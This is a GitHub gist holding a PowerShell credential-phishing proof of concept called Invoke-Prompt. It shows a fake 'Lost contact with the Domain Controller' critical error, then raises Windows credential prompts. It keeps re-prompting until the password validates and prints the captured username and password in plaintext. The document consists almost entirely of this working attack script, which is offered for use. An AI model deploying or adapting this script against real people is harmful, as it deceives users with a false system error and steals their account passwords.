Created
September 23, 2024 06:46
-
-
Save An0nUD4Y/9efeef6773e19afc4dcb83431aacd7d1 to your computer and use it in GitHub Desktop.
Prompts a dialog to enter user credentials then validates them and prints on console.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # POC from greg.foss[at]owasp.org | |
| # @enigma0x3 | |
| # Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ | |
| # https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ | |
| function Invoke-Prompt { | |
| [CmdletBinding()] | |
| Param ( | |
| [Switch] $ProcCreateWait, | |
| [String] $MsgText = 'Lost contact with the Domain Controller.', | |
| [String] $IconType = 'Critical', | |
| [String] $Title = 'ERROR - 0xA801B720' | |
| ) | |
| Add-Type -AssemblyName Microsoft.VisualBasic | |
| Add-Type -assemblyname System.DirectoryServices.AccountManagement | |
| $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) | |
| if($MsgText -and $($MsgText -ne '')){ | |
| $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title) | |
| } | |
| $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name | |
| $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName") | |
| if($credential){ | |
| while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){ | |
| $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","") | |
| } | |
| "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password | |
| } | |
| else{ | |
| "[!] User closed credential prompt" | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment